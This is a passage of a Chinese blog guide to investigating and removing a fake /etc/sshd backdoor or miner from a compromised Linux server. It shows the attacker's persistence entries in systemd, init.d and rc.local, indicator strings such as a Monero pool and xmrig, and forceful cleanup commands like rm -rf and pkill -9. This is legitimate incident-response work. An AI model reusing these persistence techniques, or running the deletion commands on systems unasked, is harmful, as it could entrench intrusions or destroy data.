\u6781\u6709\u53ef\u80fd\u662f\u9ed1\u5ba2\u7559\u4e0b\u7684\u540e\u95e8\uff08Backdoor\uff09\u6216\u8005\u4f2a\u88c5\u6210 SSH \u670d\u52a1\u7684\u6316\u77ff\u7a0b\u5e8f\/\u6728\u9a6c\u3002<\/strong><\/p>\n<p>\u4ee5\u4e0b\u662f\u9010\u6b65\u5206\u6790\u8be5\u6587\u4ef6\u6765\u6e90\u3001\u6027\u8d28\u4ee5\u53ca\u5b83\u662f\u5982\u4f55\u8fdb\u5165\u4f60\u7cfb\u7edf\u7684\u6280\u672f\u624b\u6bb5\uff1a<\/p>\n<h3 class=\"wp-block-heading\">3.1. \u786e\u8ba4\u5b83\u4e0d\u5c5e\u4e8e\u7cfb\u7edf (\u6700\u76f4\u63a5\u7684\u8bc1\u636e)<\/h3>\n<p>\u9996\u5148\uff0c\u6211\u4eec\u9700\u8981\u786e\u8ba4\u8fd9\u4e2a\u6587\u4ef6\u4e0d\u662f\u901a\u8fc7\u6b63\u89c4\u6e20\u9053\uff08\u5982 apt\/yum\uff09\u5b89\u88c5\u7684\u3002<\/p>\n<ul>\n<li>\n<p><strong>\u5982\u679c\u4f60\u662f Debian\/Ubuntu \u7cfb\u7edf\uff1a<\/strong><\/p>\n<pre><code class=\"language-bash\">dpkg -S \/etc\/sshd\n<\/code><\/pre>\n<p><em>\u9884\u671f\u7ed3\u679c\uff1a<\/em> <code>dpkg-query: no path found matching pattern \/etc\/sshd<\/code>\n<em>(\u8fd9\u610f\u5473\u7740\u5305\u7ba1\u7406\u5668\u6839\u672c\u4e0d\u77e5\u9053\u8fd9\u4e2a\u6587\u4ef6\u7684\u5b58\u5728)<\/em><\/p>\n<\/li>\n<li>\n<p><strong>\u5982\u679c\u4f60\u662f CentOS\/RedHat \u7cfb\u7edf\uff1a<\/strong><\/p>\n<pre><code class=\"language-bash\">rpm -qf \/etc\/sshd\n<\/code><\/pre>\n<p><em>\u9884\u671f\u7ed3\u679c\uff1a<\/em> <code>file \/etc\/sshd is not owned by any package<\/code><\/p>\n<\/li>\n<\/ul>\n<h3 class=\"wp-block-heading\">3.2. \u9759\u6001\u5206\u6790\uff1a\u5b83\u5230\u5e95\u662f\u4ec0\u4e48\uff1f<\/h3>\n<p>\u4e0d\u8981\u76f4\u63a5\u8fd0\u884c\u5b83\uff01\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u5de5\u5177\u67e5\u770b\u5b83\u7684\u5185\u90e8\u4fe1\u606f\u3002<\/p>\n<p><strong>A. \u67e5\u770b\u6587\u4ef6\u7c7b\u578b<\/strong><\/p>\n<pre><code class=\"language-bash\">file \/etc\/sshd\n<\/code><\/pre>\n<ul>\n<li>\u5982\u679c\u663e\u793a <code>ELF 64-bit LSB executable<\/code>\uff0c\u8bf4\u660e\u5b83\u662f\u4e00\u4e2a\u4e8c\u8fdb\u5236\u53ef\u6267\u884c\u7a0b\u5e8f\uff08\u6728\u9a6c\u6216\u6316\u77ff\u8f6f\u4ef6\uff09\u3002<\/li>\n<li>\u5982\u679c\u663e\u793a <code>ASCII text<\/code> \u6216 <code>shell script<\/code>\uff0c\u5b83\u53ef\u80fd\u662f\u4e00\u4e2a\u6076\u610f\u811a\u672c\u3002<\/li>\n<\/ul>\n<p><strong>B. \u63d0\u53d6\u53ef\u8bfb\u5b57\u7b26\u4e32 (\u5173\u952e\u6b65\u9aa4)<\/strong>\n\u8fd9\u80fd\u8ba9\u4f60\u770b\u5230\u7a0b\u5e8f\u5185\u90e8\u7684\u6587\u672c\uff0c\u901a\u5e38\u80fd\u53d1\u73b0<strong>IP\u5730\u5740\u3001\u7f51\u5740\u3001\u6316\u77ff\u914d\u7f6e\u6216\u9ed1\u5ba2\u7559\u4e0b\u7684\u4fe1\u606f<\/strong>\u3002<\/p>\n<pre><code class=\"language-bash\">strings \/etc\/sshd | grep -E &quot;http|https|[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+&quot; | head -n 20\n<\/code><\/pre>\n<ul>\n<li><strong>\u770b\u4ec0\u4e48\uff1a<\/strong> \u5bfb\u627e\u7c7b\u4f3c <code>pool.supportxmr.com<\/code>\uff08\u4e4b\u524d\u7684\u77ff\u6c60\uff09\u3001\u5947\u602a\u7684 IP \u5730\u5740\u3001<code>xmrig<\/code> \u5b57\u6837\u3001\u6216\u8005 <code>\/bin\/sh<\/code> \u7b49\u547d\u4ee4\u3002<\/li>\n<li><strong>\u6ce8\u610f\uff1a<\/strong> \u5982\u679c\u8f93\u51fa\u5f88\u5c11\u6216\u8005\u662f\u4e71\u7801\uff0c\u8bf4\u660e\u6587\u4ef6\u53ef\u80fd\u88ab\u201c\u52a0\u58f3\u201d\uff08Packed\uff09\u4e86\uff0c\u8fd9\u662f\u6076\u610f\u8f6f\u4ef6\u5e38\u7528\u7684\u9690\u85cf\u624b\u6bb5\u3002<\/li>\n<\/ul>\n<p><strong>C. \u8ba1\u7b97\u54c8\u5e0c\u503c (\u7528\u4e8e\u75c5\u6bd2\u5e93\u6bd4\u5bf9)<\/strong>\n\u83b7\u53d6\u6587\u4ef6\u7684\u6307\u7eb9\uff0c\u53bb\u5168\u7403\u75c5\u6bd2\u5e93\u67e5\u8be2\u3002<\/p>\n<pre><code class=\"language-bash\">md5sum \/etc\/sshd\nsha256sum \/etc\/sshd\n<\/code><\/pre>\n<ul>\n<li><strong>\u64cd\u4f5c\uff1a<\/strong> \u590d\u5236\u751f\u6210\u7684 SHA256 \u503c\uff0c\u6253\u5f00 <a href=\"https:\/\/www.virustotal.com\/\">VirusTotal.com<\/a>\uff0c\u5728 &#8220;Search&#8221; \u680f\u7c98\u8d34\u641c\u7d22\u3002\u5982\u679c\u5b83\u662f\u5df2\u77e5\u7684\u75c5\u6bd2\u6216\u6316\u77ff\u6728\u9a6c\uff0c\u8fd9\u91cc\u4f1a\u76f4\u63a5\u544a\u8bc9\u4f60\u3002<\/li>\n<\/ul>\n<h3 class=\"wp-block-heading\">3.3. \u65f6\u95f4\u7ebf\u53d6\u8bc1\uff1a\u5b83\u662f\u4f55\u65f6\u51fa\u73b0\u7684\uff1f<\/h3>\n<p>\u8fd9\u662f\u627e\u51fa\u201c\u6765\u6e90\u201d\u6700\u6709\u6548\u7684\u65b9\u6cd5\u3002\u6211\u4eec\u9700\u8981\u67e5\u770b\u6587\u4ef6\u7684\u521b\u5efa\/\u4fee\u6539\u65f6\u95f4\uff0c\u7136\u540e\u53bb\u7cfb\u7edf\u65e5\u5fd7\u91cc\u5bf9\u6bd4\u90a3\u4e2a\u65f6\u95f4\u70b9\u53d1\u751f\u4e86\u4ec0\u4e48\u3002<\/p>\n<p><strong>A. \u67e5\u770b\u6587\u4ef6\u65f6\u95f4\u6233<\/strong><\/p>\n<pre><code class=\"language-bash\">stat \/etc\/sshd\n<\/code><\/pre>\n<ul>\n<li>\u5173\u6ce8 <strong>Change<\/strong> \u6216 <strong>Modify<\/strong> \u65f6\u95f4\u3002\u8bb0\u4e0b\u8fd9\u4e2a\u7cbe\u786e\u7684\u65f6\u95f4\u70b9\uff08\u4f8b\u5982\uff1a2023-10-27 03:15:00\uff09\u3002<\/li>\n<\/ul>\n<p><strong>B. \u5bf9\u6bd4\u7cfb\u7edf\u5b89\u5168\u65e5\u5fd7<\/strong>\n\u6839\u636e\u4e0a\u9762\u67e5\u5230\u7684\u65f6\u95f4\uff0c\u53bb\u7ffb\u770b\u65e5\u5fd7\uff0c\u770b\u770b\u90a3\u4e2a\u65f6\u95f4\u70b9<strong>\u8c01\u767b\u5f55\u4e86\u7cfb\u7edf<\/strong>\uff0c\u6216\u8005<strong>\u6267\u884c\u4e86\u4ec0\u4e48\u547d\u4ee4<\/strong>\u3002<\/p>\n<ul>\n<li><strong>Ubuntu\/Debian:<\/strong> <code>\/var\/log\/auth.log<\/code><\/li>\n<li><strong>CentOS\/RHEL:<\/strong> <code>\/var\/log\/secure<\/code><\/li>\n<\/ul>\n<pre><code class=\"language-bash\"># \u5047\u8bbe\u6587\u4ef6\u4fee\u6539\u65f6\u95f4\u662f 10\u670827\u65e5 03:15\uff0c\u6211\u4eec\u53ef\u4ee5\u8fd9\u6837\u641c\uff1a\ngrep &quot;Oct 27 03&quot; \/var\/log\/auth.log | grep &quot;Accepted&quot;\n<\/code><\/pre>\n<ul>\n<li><strong>\u5206\u6790\uff1a<\/strong> \u5982\u679c\u4f60\u5728\u90a3\u4e2a\u65f6\u95f4\u70b9\u770b\u5230\u4e00\u4e2a\u964c\u751f\u7684 IP \u5730\u5740\u901a\u8fc7 SSH \u767b\u5f55\u6210\u529f\uff08Accepted password\/publickey\uff09\uff0c<strong>\u90a3\u4e2a IP \u5c31\u662f\u653b\u51fb\u6765\u6e90<\/strong>\u3002<\/li>\n<\/ul>\n<h3 class=\"wp-block-heading\">3.4. \u52a8\u6001\u5206\u6790\uff1a\u5b83\u5728\u8fd0\u884c\u5417\uff1f<\/h3>\n<p>\u68c0\u67e5\u8fd9\u4e2a\u5047\u5192\u6587\u4ef6\u662f\u5426\u6b63\u5728\u8fd0\u884c\uff0c\u4ee5\u53ca\u5b83\u5728\u8fde\u63a5\u8c01\u3002<\/p>\n<pre><code class=\"language-bash\"># \u67e5\u770b\u662f\u5426\u6709\u8fdb\u7a0b\u5728\u4f7f\u7528\u8fd9\u4e2a\u6587\u4ef6\nlsof \/etc\/sshd\n\n# \u6216\u8005\u67e5\u770b\u8fdb\u7a0b\u5217\u8868\uff08\u6ce8\u610f\u533a\u5206 \/usr\/sbin\/sshd \u548c \/etc\/sshd\uff09\nps -ef | grep sshd\n<\/code><\/pre>\n<ul>\n<li><strong>\u8b66\u60d5\uff1a<\/strong> \u771f\u6b63\u7684 SSH \u670d\u52a1\u662f <code>\/usr\/sbin\/sshd<\/code>\u3002\u5982\u679c\u4f60\u770b\u5230 <code>\/etc\/sshd<\/code> \u5728\u8fd0\u884c\uff0c\u7acb\u5373\u8bb0\u4e0b\u5b83\u7684 PID\uff08\u8fdb\u7a0bID\uff09\u3002<\/li>\n<\/ul>\n<h3 class=\"wp-block-heading\">3.5. \u6e05\u9664\u4e0e\u8865\u6551\u5efa\u8bae<\/h3>\n<p>\u65e2\u7136\u4f60\u5df2\u7ecf\u53d1\u73b0\u4e86\u8fd9\u4e2a\u6587\u4ef6\uff0c\u4e14\u4e4b\u524d\u53d1\u73b0\u4e86\u6316\u77ff\u811a\u672c\uff0c\u60c5\u51b5\u5df2\u7ecf\u5f88\u660e\u6717\uff1a<strong>\u8fd9\u662f\u4e00\u6b21\u5178\u578b\u7684\u81ea\u52a8\u5316\u5165\u4fb5\u3002<\/strong><\/p>\n<ol>\n<li><strong>\u6740\u6b7b\u8fdb\u7a0b\uff1a<\/strong> \u5982\u679c\u5b83\u5728\u8fd0\u884c\uff0c<code>kill -9 &lt;PID&gt;<\/code>\u3002<\/li>\n<li><strong>\u5220\u9664\u6587\u4ef6\uff1a<\/strong>\n<pre><code class=\"language-bash\"># \u4e3a\u4e86\u9632\u6b62\u5b83\u88ab\u9501\u5b9a\uff08chattr +i\uff09\uff0c\u5148\u89e3\u9501\nsudo chattr -i \/etc\/sshd\nsudo rm -f \/etc\/sshd\n<\/code><\/pre>\n<\/li>\n<li><strong>\u68c0\u67e5\u542f\u52a8\u9879\uff08\u975e\u5e38\u91cd\u8981\uff09\uff1a<\/strong>\n\u9ed1\u5ba2\u901a\u5e38\u4f1a\u628a\u8fd9\u4e2a\u6587\u4ef6\u52a0\u5165\u5f00\u673a\u81ea\u542f\u3002\u68c0\u67e5 <code>\/etc\/rc.local<\/code>\uff0c<code>\/etc\/init.d\/<\/code>\uff0c\u6216\u8005 <code>systemctl<\/code> \u670d\u52a1\u3002<pre><code class=\"language-bash\">grep -r &quot;\/etc\/sshd&quot; \/etc\/systemd\/system\/\ngrep -r &quot;\/etc\/sshd&quot; \/etc\/init.d\/\ncat \/etc\/rc.local\n<\/code><\/pre>\n<\/li>\n<\/ol>\n<h3 class=\"wp-block-heading\">\u603b\u7ed3<\/h3>\n<p>\u8fd9\u4e2a <code>\/etc\/sshd<\/code> \u662f\u4e3a\u4e86\u6df7\u6dc6\u89c6\u542c\u3002\u9ed1\u5ba2\u5e0c\u671b\u5f53\u4f60\u7528 <code>ps<\/code> \u67e5\u770b\u8fdb\u7a0b\u65f6\uff0c\u770b\u5230 <code>sshd<\/code> \u4ee5\u4e3a\u662f\u6b63\u5e38\u7684\u7cfb\u7edf\u670d\u52a1\u4ece\u800c\u5ffd\u7565\u5b83\u3002<\/p>\n<p><strong>\u5f3a\u70c8\u5efa\u8bae\uff1a<\/strong>\n\u7531\u4e8e\u9ed1\u5ba2\u5df2\u7ecf\u80fd\u591f\u5c06\u53ef\u6267\u884c\u6587\u4ef6\u5199\u5165 <code>\/etc\/<\/code> \u76ee\u5f55\uff08\u8fd9\u9700\u8981 Root \u6743\u9650\uff09\uff0c\u8bf4\u660e<strong>\u4f60\u7684\u7cfb\u7edf Root \u6743\u9650\u5df2\u7ecf\u5f7b\u5e95\u6ca6\u9677<\/strong>\u3002<\/p>\n<p>\u867d\u7136\u6211\u4eec\u53ef\u4ee5\u5220\u9664\u6587\u4ef6\uff0c\u4f46\u5f88\u96be\u4fdd\u8bc1\u6ca1\u6709\u5176\u4ed6\u9690\u85cf\u5f97\u66f4\u6df1\u7684\u540e\u95e8\uff08\u4f8b\u5982\u66ff\u6362\u4e86\u7cfb\u7edf\u7684 <code>ls<\/code>, <code>ps<\/code>, <code>netstat<\/code> \u547d\u4ee4\uff09\u3002<strong>\u6700\u5b89\u5168\u3001\u6700\u5f7b\u5e95\u7684\u65b9\u6848\u662f\u5907\u4efd\u6570\u636e\uff08\u4ec5\u5907\u4efd\u4ee3\u7801\u548c\u6570\u636e\u5e93\uff0c\u4e0d\u8981\u5907\u4efd\u53ef\u6267\u884c\u6587\u4ef6\uff09\uff0c\u7136\u540e\u91cd\u88c5\u7cfb\u7edf\u3002<\/strong><\/p>\n<h2 class=\"wp-block-heading\">\u56db. \u8fdb\u4e00\u6b65\u68c0\u67e5\/etc\/sshd<\/h2>\n<pre><code>root@Server:\/etc# grep -r &quot;\/etc\/sshd&quot; \/etc\/systemd\/system\/\n\/etc\/systemd\/system\/system-sshd.service:ExecStart=\/etc\/sshd\nroot@Server:\/etc# grep -r &quot;\/etc\/sshd&quot; \/etc\/init.d\/\n\/etc\/init.d\/system-sshd:D=&quot;\/etc\/sshd&quot;\nroot@Server:\/etc# cat \/etc\/rc.local\n#!\/bin\/bash\n\/etc\/sshd &amp;\nexit 0\n<\/code><\/pre>\n<p>\u9ed1\u5ba2\u4e3a\u4e86\u9632\u6b62\u4f60\u53d1\u73b0\u5e76\u5220\u9664\u75c5\u6bd2\u540e\u5b83\u65e0\u6cd5\u91cd\u542f\uff0c\u5728\u7cfb\u7edf\u542f\u52a8\u7684<strong>\u4e09\u4e2a\u4e0d\u540c\u5c42\u9762<\/strong>\u90fd\u57cb\u4e0b\u4e86\u542f\u52a8\u6307\u4ee4\u3002\u53ea\u8981\u6f0f\u6389\u4e00\u4e2a\uff0c\u4e0b\u6b21\u91cd\u542f\u670d\u52a1\u5668\uff0c\u75c5\u6bd2\u5c31\u4f1a\u201c\u590d\u6d3b\u201d\u3002<\/p>\n<p>\u4ee5\u4e0b\u662f\u4f60\u7684\u53d1\u73b0\u610f\u5473\u7740\u4ec0\u4e48\uff0c\u4ee5\u53ca\u5982\u4f55\u5f7b\u5e95\u6e05\u7406\uff1a<\/p>\n<h3 class=\"wp-block-heading\">4.1. \u73b0\u72b6\u5206\u6790<\/h3>\n<ol>\n<li><strong>Systemd \u670d\u52a1 (<code>\/etc\/systemd\/system\/system-sshd.service<\/code>)<\/strong>: \u8fd9\u662f\u73b0\u4ee3 Linux \u7cfb\u7edf\u4e3b\u8981\u7684\u670d\u52a1\u7ba1\u7406\u65b9\u5f0f\u3002\u9ed1\u5ba2\u628a\u5b83\u4f2a\u88c5\u6210\u7c7b\u4f3c\u7cfb\u7edf\u670d\u52a1\u7684\u540d\u5b57\u3002<\/li>\n<li><strong>SysVinit \u811a\u672c (<code>\/etc\/init.d\/system-sshd<\/code>)<\/strong>: \u8fd9\u662f\u8001\u5f0f\u7684\u542f\u52a8\u811a\u672c\uff0c\u7528\u4e8e\u517c\u5bb9\u65e7\u7cfb\u7edf\u6216\u4f5c\u4e3a\u5907\u7528\u542f\u52a8\u624b\u6bb5\u3002<\/li>\n<li><strong>rc.local (<code>\/etc\/rc.local<\/code>)<\/strong>: \u8fd9\u662f\u7cfb\u7edf\u542f\u52a8\u6700\u540e\u9636\u6bb5\u6267\u884c\u7684\u811a\u672c\u3002\u9ed1\u5ba2\u76f4\u63a5\u628a <code>\/etc\/sshd &amp;<\/code> \u5199\u5728\u8fd9\u91cc\uff0c\u7b80\u5355\u7c97\u66b4\u5730\u5f3a\u5236\u540e\u53f0\u8fd0\u884c\u3002<\/li>\n<\/ol>\n<hr \/>\n<h3 class=\"wp-block-heading\">4.2. \u5f7b\u5e95\u6e05\u9664\u6b65\u9aa4 (\u8bf7\u6309\u987a\u5e8f\u6267\u884c)<\/h3>\n<p>\u8bf7\u590d\u5236\u4ee5\u4e0b\u547d\u4ee4\u5728\u7ec8\u7aef\u4e2d\u6267\u884c\uff08\u9700\u8981 root \u6743\u9650\uff09\uff1a<\/p>\n<h4 class=\"wp-block-heading\">\u7b2c\u4e00\u6b65\uff1a\u505c\u6b62\u5e76\u7981\u7528\u6076\u610f\u670d\u52a1<\/h4>\n<p>\u5148\u8ba9\u5b83\u505c\u4e0b\u6765\uff0c\u5e76\u5207\u65ad Systemd \u7684\u542f\u52a8\u94fe\u3002<\/p>\n<pre><code class=\"language-bash\"># \u505c\u6b62\u670d\u52a1\nsystemctl stop system-sshd\n\n# \u7981\u7528\u5f00\u673a\u81ea\u542f\nsystemctl disable system-sshd\n\n# \u6740\u6b7b\u53ef\u80fd\u8fd8\u5728\u8fd0\u884c\u7684\u8fdb\u7a0b (\u5f3a\u5236)\npkill -9 -f &quot;\/etc\/sshd&quot;\n<\/code><\/pre>\n<h4 class=\"wp-block-heading\">\u7b2c\u4e8c\u6b65\uff1a\u6e05\u7406 Systemd \u670d\u52a1\u6587\u4ef6<\/h4>\n<pre><code class=\"language-bash\"># \u5220\u9664\u670d\u52a1\u914d\u7f6e\u6587\u4ef6\nrm -f \/etc\/systemd\/system\/system-sshd.service\n\n# \u91cd\u8f7d\u914d\u7f6e\uff0c\u8ba9\u7cfb\u7edf\u77e5\u9053\u670d\u52a1\u6ca1\u4e86\nsystemctl daemon-reload\n<\/code><\/pre>\n<h4 class=\"wp-block-heading\">\u7b2c\u4e09\u6b65\uff1a\u6e05\u7406 Init.d \u811a\u672c<\/h4>\n<pre><code class=\"language-bash\"># \u5220\u9664 init.d \u4e0b\u7684\u811a\u672c\nrm -f \/etc\/init.d\/system-sshd\n\n# (\u9488\u5bf9 Debian\/Ubuntu \u7cfb\u7edf) \u6e05\u7406\u65e7\u7684\u542f\u52a8\u94fe\u63a5\nupdate-rc.d system-sshd remove 2&gt;\/dev\/null || true\n\n# (\u9488\u5bf9 CentOS\/RHEL \u7cfb\u7edf)\nchkconfig --del system-sshd 2&gt;\/dev\/null || true\n<\/code><\/pre>\n<h4 class=\"wp-block-heading\">\u7b2c\u56db\u6b65\uff1a\u4fee\u590d \/etc\/rc.local<\/h4>\n<p>\u6211\u4eec\u9700\u8981\u628a\u90a3\u884c\u6076\u610f\u4ee3\u7801\u4ece\u6587\u4ef6\u4e2d\u5220\u6389\uff0c\u4fdd\u7559\u5176\u4ed6\u53ef\u80fd\u6b63\u5e38\u7684\u5185\u5bb9\uff08\u5982\u679c\u6709\u7684\u8bdd\uff09\u3002<\/p>\n<pre><code class=\"language-bash\"># \u5907\u4efd\u4e00\u4e0b\uff08\u867d\u7136\u662f\u4e2d\u6bd2\u6587\u4ef6\uff0c\u4f46\u5907\u4efd\u662f\u4e2a\u597d\u4e60\u60ef\uff09\ncp \/etc\/rc.local \/etc\/rc.local.bak\n\n# \u4f7f\u7528 sed \u547d\u4ee4\u5220\u9664\u5305\u542b &quot;\/etc\/sshd&quot; \u7684\u884c\nsed -i &#039;\/\\\/etc\\\/sshd\/d&#039; \/etc\/rc.local\n\n# \u68c0\u67e5\u4e00\u4e0b\u662f\u5426\u6e05\u7406\u5e72\u51c0\ncat \/etc\/rc.local\n<\/code><\/pre>\n<p><em>\u786e\u8ba4\u8f93\u51fa\u4e2d\u4e0d\u518d\u5305\u542b <code>\/etc\/sshd<\/code>\u3002<\/em><\/p>\n<h4 class=\"wp-block-heading\">\u7b2c\u4e94\u6b65\uff1a\u5220\u9664\u6838\u5fc3\u6076\u610f\u6587\u4ef6<\/h4>\n<p>\u8fd9\u662f\u6700\u540e\u4e00\u6b65\uff0c\u5f7b\u5e95\u5220\u9664\u90a3\u4e2a\u4f2a\u88c5\u7684\u53ef\u6267\u884c\u6587\u4ef6\u3002<\/p>\n<pre><code class=\"language-bash\"># \u9632\u6b62\u9ed1\u5ba2\u52a0\u4e86&ldquo;\u4e0d\u53ef\u4fee\u6539&rdquo;\u5c5e\u6027 (chattr +i)\uff0c\u5148\u5c1d\u8bd5\u89e3\u9501\nchattr -i \/etc\/sshd\n\n# \u5220\u9664\u6587\u4ef6\nrm -f \/etc\/sshd\n<\/code><\/pre>\n<hr \/>\n<h3 class=\"wp-block-heading\">\u9a8c\u8bc1\u6e05\u7406\u7ed3\u679c<\/h3>\n<p>\u6267\u884c\u5b8c\u4e0a\u8ff0\u6b65\u9aa4\u540e\uff0c\u5efa\u8bae\u8fdb\u884c\u4ee5\u4e0b\u68c0\u67e5\uff1a<\/p>\n<ol>\n<li>\n<p><strong>\u68c0\u67e5\u8fdb\u7a0b\uff1a<\/strong><\/p>\n<pre><code class=\"language-bash\">ps -ef | grep sshd\n<\/code><\/pre>\n<ul>\n<li>\u4f60\u5e94\u8be5\u53ea\u770b\u5230 <code>\/usr\/sbin\/sshd<\/code> (\u6b63\u5e38\u7684 SSH \u670d\u52a1)\uff0c<strong>\u4e0d\u5e94\u8be5<\/strong>\u518d\u770b\u5230 <code>\/etc\/sshd<\/code>\u3002<\/li>\n<\/ul>\n<\/li>\n<li>\n<p><strong>\u68c0\u67e5\u6587\u4ef6\u662f\u5426\u5b58\u5728\uff1a<\/strong><\/p>\n<pre><code class=\"language-bash\">ls \/etc\/sshd\n<\/code><\/pre>\n<ul>\n<li>\u5e94\u8be5\u63d0\u793a <code>No such file or directory<\/code>\u3002<\/li>\n<\/ul>\n<\/li>\n<li>\n<p><strong>\u91cd\u542f\u9a8c\u8bc1 (\u5f3a\u70c8\u5efa\u8bae)\uff1a<\/strong>\n\u5982\u679c\u4e1a\u52a1\u5141\u8bb8\uff0c\u6267\u884c <code>reboot<\/code> \u91cd\u542f\u670d\u52a1\u5668\u3002\u91cd\u542f\u540e\u518d\u6b21\u68c0\u67e5\u8fdb\u7a0b\uff0c\u786e\u4fdd\u75c5\u6bd2\u6ca1\u6709\u201c\u590d\u6d3b\u201d\u3002<\/p>\n<\/li>\n<\/ol>\n<h3 class=\"wp-block-heading\">\u518d\u6b21\u8b66\u544a<\/h3>\n<p>\u65e2\u7136\u9ed1\u5ba2\u5df2\u7ecf\u4fee\u6539\u4e86 <code>\/etc\/rc.local<\/code> \u548c <code>\/etc\/init.d\/<\/code>\uff0c\u8fd9\u518d\u6b21\u8bc1\u5b9e\u4e86\u4ed6\u4eec\u62e5\u6709<strong>\u5b8c\u5168\u7684 Root \u6743\u9650<\/strong>\u3002<\/p>\n<ul>\n<li><strong>\u7acb\u5373\u4fee\u6539 Root \u5bc6\u7801\u3002<\/strong><\/li>\n<li><strong>\u68c0\u67e5\u662f\u5426\u6709\u5176\u4ed6\u5f02\u5e38\u8d26\u6237\uff1a<\/strong> \u67e5\u770b <code>\/etc\/passwd<\/code>\uff0c\u770b\u662f\u5426\u6709\u4f60\u4e0d\u8ba4\u8bc6\u7684\u7528\u6237\uff08\u7279\u522b\u662f UID \u4e3a 0 \u7684\u7528\u6237\uff09\u3002<\/li>\n<li><strong>\u68c0\u67e5 SSH Key\uff1a<\/strong> \u518d\u6b21\u5f3a\u8c03\uff0c\u68c0\u67e5 <code>~\/.ssh\/authorized_keys<\/code>\uff0c\u9ed1\u5ba2\u975e\u5e38\u559c\u6b22\u5728\u8fd9\u91cc\u7559\u540e\u95e8\u3002<\/li>\n<\/ul>\n<h2 class=\"wp-block-heading\">\u4e94. \u6e05\u9664\u53ef\u7591\u8d26\u6237admin<\/h2>\n<p>\u6ce8\u610f\u4f7f\u7528 usermod -L admin \u9501\u5b9a\u8d26\u6237\u540e\uff0c<strong>\u4ecd\u7136\u53ef\u4ee5\u901a\u8fc7\u5bc6\u94a5\u80fd\u767b\u5f55<\/strong><\/p>\n<p>\u8fd9\u662f\u4e00\u4e2a\u975e\u5e38\u5e38\u89c1\u7684\u5b89\u5168\u8bef\u533a\u3002<code>usermod -L<\/code> (Lock) \u7684\u4f5c\u7528\u4ec5\u4ec5\u662f\u5728 <code>\/etc\/shadow<\/code> \u6587\u4ef6\u4e2d\u7684\u5bc6\u7801\u54c8\u5e0c\u524d\u52a0\u4e00\u4e2a\u611f\u53f9\u53f7 <code>!<\/code>\u3002\u8fd9<strong>\u53ea\u7981\u7528\u4e86\u5bc6\u7801\u767b\u5f55<\/strong>\u3002<\/p>\n<p>\u7531\u4e8e SSH \u5bc6\u94a5\u8ba4\u8bc1\uff08Public Key Authentication\uff09\u662f\u7ed5\u8fc7\u5bc6\u7801\u9a8c\u8bc1\u7684\uff0c\u56e0\u6b64\u53ea\u8981\u9ed1\u5ba2\u628a\u4ed6\u7684\u516c\u94a5\u653e\u5230\u4e86 <code>admin<\/code> \u7528\u6237\u7684 <code>~\/.ssh\/authorized_keys<\/code> \u6587\u4ef6\u91cc\uff0c<strong>\u4ed6\u4f9d\u7136\u53ef\u4ee5\u7545\u901a\u65e0\u963b\u5730\u8fdb\u5165\u7cfb\u7edf\u3002<\/strong><\/p>\n<h3 class=\"wp-block-heading\">\u5982\u4f55\u5f7b\u5e95\u7981\u6b62 admin \u7528\u6237\u767b\u5f55\uff1f<\/h3>\n<p>\u9488\u5bf9\u4f60\u76ee\u524d\u670d\u52a1\u5668\u88ab\u5165\u4fb5\u7684\u60c5\u51b5\uff0c\u5efa\u8bae\u4f7f\u7528\u4ee5\u4e0b\u4efb\u610f\u4e00\u79cd\uff08\u6216\u7ec4\u5408\uff09\u65b9\u6cd5\u6765\u5f7b\u5e95\u5c01\u7981\u8be5\u7528\u6237\uff1a<\/p>\n<h4 class=\"wp-block-heading\">A. \u4fee\u6539 Shell \u4e3a nologin\uff08\u63a8\u8350\uff09<\/h4>\n<p>\u8fd9\u662f\u6700\u6807\u51c6\u3001\u6700\u6709\u6548\u7684\u7981\u7528\u8d26\u6237\u65b9\u6cd5\u3002\u5b83\u5141\u8bb8\u7cfb\u7edf\u4fdd\u7559\u8be5\u7528\u6237\u7684\u6587\u4ef6\uff08\u4ee5\u5907\u53d6\u8bc1\uff09\uff0c\u4f46\u7981\u6b62\u8be5\u7528\u6237\u83b7\u5f97\u4efb\u4f55 Shell \u8bbf\u95ee\u6743\u9650\u3002<\/p>\n<pre><code class=\"language-bash\">sudo usermod -s \/sbin\/nologin admin\n<\/code><\/pre>\n<ul>\n<li><strong>\u6548\u679c\uff1a<\/strong> \u65e0\u8bba\u5bf9\u65b9\u662f\u7528\u5bc6\u7801\u8fd8\u662f SSH \u5bc6\u94a5\uff0c\u8fde\u63a5\u65f6\u90fd\u4f1a\u7acb\u523b\u88ab\u8e22\u51fa\uff0c\u5e76\u663e\u793a &#8220;This account is currently not available&#8221;\u3002<\/li>\n<\/ul>\n<h4 class=\"wp-block-heading\">B. \u66b4\u529b\u6e05\u9664 SSH \u5bc6\u94a5\uff08\u9488\u5bf9\u5165\u4fb5\u573a\u666f\uff09<\/h4>\n<p>\u65e2\u7136\u4f60\u6000\u7591\u8fd9\u4e2a\u7528\u6237\u6709\u95ee\u9898\uff0c\u76f4\u63a5\u5220\u9664\u4ed6\u7684\u4fe1\u4efb\u5bc6\u94a5\u5e93\u3002<\/p>\n<pre><code class=\"language-bash\"># \u6e05\u7a7a\u8be5\u7528\u6237\u7684 authorized_keys\nsudo &gt; \/home\/admin\/.ssh\/authorized_keys\n\n# \u6216\u8005\u76f4\u63a5\u5220\u9664 .ssh \u76ee\u5f55\uff08\u66f4\u5f7b\u5e95\uff09\nsudo rm -rf \/home\/admin\/.ssh\n<\/code><\/pre>\n<h4 class=\"wp-block-heading\">C. \u5728 SSH \u914d\u7f6e\u4e2d\u660e\u786e\u62d2\u7edd<\/h4>\n<p>\u4fee\u6539 <code>\/etc\/ssh\/sshd_config<\/code> \u6587\u4ef6\uff0c\u6dfb\u52a0\u9ed1\u540d\u5355\u3002<\/p>\n<ol>\n<li>\u7f16\u8f91\u6587\u4ef6\uff1a<code>sudo nano \/etc\/ssh\/sshd_config<\/code><\/li>\n<li>\u5728\u6587\u4ef6\u672b\u5c3e\u6dfb\u52a0\uff1a<pre><code class=\"language-text\">DenyUsers admin\n<\/code><\/pre>\n<\/li>\n<li>\u91cd\u542f SSH \u670d\u52a1\uff1a<code>sudo systemctl restart sshd<\/code><\/li>\n<\/ol>\n<h3 class=\"wp-block-heading\">\u603b\u7ed3\u5efa\u8bae<\/h3>\n<p>\u9274\u4e8e\u670d\u52a1\u5668\u4e4b\u524d\u53d1\u73b0\u4e86\u6316\u77ff\u811a\u672c\u548c <code>\/etc\/sshd<\/code> \u540e\u95e8\uff1a<\/p>\n<ol>\n<li><strong>\u7acb\u5373\u6267\u884c\u65b9\u6cd5\u4e00<\/strong> 